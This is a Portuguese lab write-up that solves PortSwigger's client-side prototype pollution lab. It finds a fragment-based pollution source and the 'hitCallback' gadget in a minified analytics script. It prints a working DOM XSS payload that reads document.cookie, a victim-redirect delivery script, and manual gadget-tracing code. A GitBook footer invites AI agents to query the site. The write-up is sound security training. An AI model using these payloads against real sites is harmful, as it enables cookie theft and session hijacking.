> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Poluição de prototype no lado do cliente em bibliotecas de terceiros

### Poluição de protótipo no lado do cliente em bibliotecas de terceiros

#### Contexto do laboratório

Este laboratório é vulnerável a um **DOM XSS via uma poluição de protótipo no lado do cliente**. / A particularidade aqui é que o vulnerável **gadget está localizado em uma biblioteca JavaScript de terceiros**, cujo código é **minificado**, tornando a análise manual mais complexa.

O laboratório é inspirado em vulnerabilidades reais destacadas por **PortSwigger Research**, especialmente no artigo Widespread prototype pollution gadgets de **Gareth Heyes**.

Objetivo final:/ \*\* Executar `alert(document.cookie)` no navegador da vítima\*\*, usando o servidor de exploit fornecido.

### Abordagem recomendada: ataque automático com o DOM Invader

#### Ativação do DOM Invader

1. Abra o navegador integrado para **Burp Suite**.

<figure><img src="/files/6f9a4566b2d5cd6e38c7627efbb38618a2372cc4" alt=""><figcaption></figcaption></figure>

* Verifique se a **DOM Invader** extensão está ativa.

<figure><img src="/files/e9779fef541e736618f3aded9053cd6a5c9cf1bb" alt=""><figcaption></figcaption></figure>

Ativar:

* **DOM Invader está ATIVADO**
* **Tipo de ataque: Poluição de protótipo**

<figure><img src="/files/584cc6d78009df9b6c8d033091783e40502db335" alt=""><figcaption></figcaption></figure>

#### Identificação da origem vulnerável

* No **DOM Invader** aba, uma **origem de poluição de protótipo** é detectada automaticamente.
* O DOM Invader indica que a poluição é possível via o \*\* fragmento de URL (`#`)\*\*, e não por meio de configurações convencionais (`?`).

<figure><img src="/files/621cba1208b7ed87b3e5ea5ee29beb09f01a806d" alt=""><figcaption></figcaption></figure>

#### Descoberta automática de gadget

1. Iniciar **Procurar gadgets** no DOM Invader.

<figure><img src="/files/a0b3e6235cb689ec3861fd117bfced96ec3b785f" alt=""><figcaption></figcaption></figure>

Um gadget explorável é identificado em uma biblioteca de terceiros.

Ao clicar em **Explorar**, o DOM Invader confirma a execução com um `alert(1)`.

<figure><img src="/files/cc382d83362c8b24442d1d2c6eb2d28eb40b7d0a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/19bcad4577e0e9c3d20af6231005ddb2f61b4a04" alt=""><figcaption></figcaption></figure>

#### Payload final (document.cookie)

Payload identificado pelo DOM Invader:

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

Esse payload dispara o alerta contendo os cookies

<figure><img src="/files/914371db3d0679864b418189ab918491cbdd1677" alt=""><figcaption></figcaption></figure>

#### Entrega do exploit à vítima

O seguinte código é enviado com o **servidor em execução**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

Quando a vítima carrega a página, o JavaScript é executado em seu navegador

### Abordagem manual (análise detalhada)

#### Tentativas convencionais de poluição (falha)

Os seguintes payloads \*\* não funcionam\*\*:

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Resultado

```javascript
console.log({}.foo); // undefined
```

<figure><img src="/files/cb8ee78ed81d6d894f24d6f0d6aad7fc9f78b3ff" alt=""><figcaption></figcaption></figure>

#### Poluição via fragmento de URL (sucesso)

No entanto, a poluição \*\* funciona com `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

Isso indica que a origem vulnerável consome o fragmento de URL

<figure><img src="/files/7bfbdb656353888babacbb1c90010033c97ec2bd" alt="" width="563"><figcaption></figcaption></figure>

#### Análise da biblioteca de terceiros

* Um arquivo grande é carregado:

/resources/js/ga.js

Cerca de 3000 linhas, código minificado.

* Esse arquivo contém um callback chamado hitCallback, usado sem verificação rigorosa.

<figure><img src="/files/8731aab36aeeecb7b0a570d29f49aeba21001f85" alt=""><figcaption></figcaption></figure>

### Identificação manual de gadget

#### Técnica de rastreamento com `Object.defineProperty`

Para encontrar as propriedades lidas em `Object.prototype`, injetamos:

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Interrompendo a execução do JavaScript

<figure><img src="/files/acd94ec6f174acd4da381584e452bce841d6088e" alt=""><figcaption></figcaption></figure>

Ao interceptar a resposta HTML, injetamos:

```javascript
<script>
    debugger;
</script>
```

<figure><img src="/files/2b3e5b3f98e1efd8b487b5450d2783b608e0d65d" alt=""><figcaption></figcaption></figure>

O navegador para em \*\*

<figure><img src="/files/bfa22eba45cb1d8a9970ce863c81a8acd1e81cb5" alt=""><figcaption></figcaption></figure>

#### Teste de propriedades candidatas

Exemplo com propriedade não explorada

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Nenhum trace interessante.

<figure><img src="/files/34fc593aff62fcb0d88db5e1d1833c6228d295ae" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9ac0d2d77a94dc5b5223a569d9c8b9042330cc97" alt=""><figcaption></figcaption></figure>

#### Descoberta de gadget válido: `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Resultado:

* `console.trace()` revela uma cadeia de chamadas de `ga.js`
* A propriedade é bem **lida e executada como função**

Esse comportamento confirma que `hitCallback` é invocado como callback JavaScript

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="/files/2087c91e555f0eb04ba38aab35af394b613bfe00" alt=""><figcaption></figcaption></figure>

Esse comportamento confirma que `hitCallback` é invocado como callback JavaScript

```javascript
Erro de referência não capturado: polluted is not defined
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="/files/6129b30712128adc3eab97839fdc1c7fd4ae97b7" alt=""><figcaption></figcaption></figure>

* O `hitCallback` gadget permite uma \*\* execução arbitrária de JavaScript\*\*, levando a um **DOM XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="/files/896063ac4bb261c3af202ec2e6f3cad2b2554403" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
